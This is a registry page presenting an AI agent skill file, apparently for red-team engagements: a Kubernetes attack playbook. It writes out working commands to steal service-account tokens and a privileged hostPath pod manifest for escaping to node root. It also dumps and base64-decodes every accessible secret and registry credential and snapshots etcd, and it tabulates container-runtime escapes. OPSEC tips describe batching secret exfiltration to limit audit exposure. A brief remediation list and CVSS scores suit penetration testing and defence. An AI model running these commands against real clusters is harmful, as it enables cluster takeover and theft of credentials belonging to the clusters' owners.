CtrlK
BlogDocsLog inGet started
Tessl Logo

k8s-pivot

Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.

61

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md
SKILL.md
Quality
Evals
Security

Kubernetes Pivot

1. Identify the cluster you're in

Inside a compromised pod:

# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt

# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE

2. Inventory permissions

KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
         --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"

# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt

# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt

# Specifically check the high-value verbs
for verb in get list create delete patch update; do
  for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
    $KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
      grep -q yes && echo "$verb $res YES"
  done
done > /tmp/verbs.txt

Decepticon ingest:

k8s_audit("/tmp/can_cluster.txt")

3. RBAC escalation primitives

Verb + ResourceWhat it enables
create podsCreate a pod with mount of host root, then RCE on node
get secretsSteal SA tokens, k8s API creds, dockercfg, TLS keys
create serviceaccounts.tokensMint a new SA token w/ chosen TTL
update/patch clusterrolebindingsBind self to cluster-admin
impersonateAct as any user / SA
create pods/execExec into running pod → steal its token
bind / escalate (on Role/ClusterRole)Grant any permission
create persistentvolumes (cluster-wide)hostPath PV → read host fs
create podsecuritypolicies (old K8s)Author own permissive PSP
create validatingwebhookconfigurationsIntercept apiserver requests
create mutatingwebhookconfigurationsModify any object on admission
update nodes/status (rare)Spoof node taints, evict pods

4. Pod escape — host root via hostPath

# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  hostPID: true        # see all host PIDs
  hostNetwork: true    # bypass network policies
  containers:
  - name: shell
    image: alpine
    command: ["sh", "-c", "sleep 1d"]
    securityContext:
      privileged: true     # CAP_*, no user-namespace remap, no AppArmor
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node

5. Secrets harvest

# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json

# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
       "\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
  /tmp/secrets.json > /tmp/sa-tokens.txt

# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
       .data[".dockerconfigjson"] | @base64d' /tmp/secrets.json

6. Container runtime escapes (when you have privileged pod or specific caps)

PrimitiveTechnique
/var/run/docker.sock mounted in poddocker exec on host containers → host root
/run/containerd/containerd.sockctr cmd → escape
CAP_SYS_ADMIN w/o user namespaceMount syscall → reread cgroups → release_agent
CAP_SYS_PTRACEInject into host PID 1 (only if hostPID:true)
CAP_DAC_READ_SEARCHOpen arbitrary file by inode (CVE-2022-0185 era)
Kernel CVEs (Dirty Pipe, etc)Standard linux escape from any container

7. Pivoting from the API server

With cluster-admin token:

# List all nodes
$KUBECTL get nodes -o wide

# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)

# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
  etcdctl snapshot save /tmp/etcd.db --cacert=/etc/kubernetes/pki/etcd/ca.crt

8. Promote

kg_add_node(kind="vulnerability", label="K8s RBAC: <verb> on <resource>",
            props={"severity":"<sev>","namespace":"<ns>","cluster":"<cluster>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:cluster-admin>, kind="reaches")

OPSEC

  • K8s audit policy logs every API call. If audit is set to Metadata or higher, every kubectl op is recorded with user SA, verb, resource, response code.
  • Cloud providers (EKS/GKE/AKS) ship audit logs to CloudWatch / Stackdriver / Log Analytics — assume engagement is observed.
  • Use a low-priv SA token first, escalate only when needed, and exfil secrets in one batch (don't list-secrets repeatedly).

CVSS

  • create-pod privileged anywhere: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • get-secrets in kube-system: 9.0
  • escalate clusterrolebindings: 10.0 (instant cluster-admin)
  • Default ServiceAccount auto-mounted into all pods + privileged pod creation allowed: 9.5 (engagement-ending)

Defender remediation (high-level)

  • Disable automounting of default SA tokens (automountServiceAccountToken: false)
  • Enforce PodSecurity standards (baseline minimum, restricted ideal)
  • Audit cluster-wide ClusterRoleBindings — many clusters have system:masters aliases to misnamed groups
  • Network policies to block pod → kube-api except where required
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.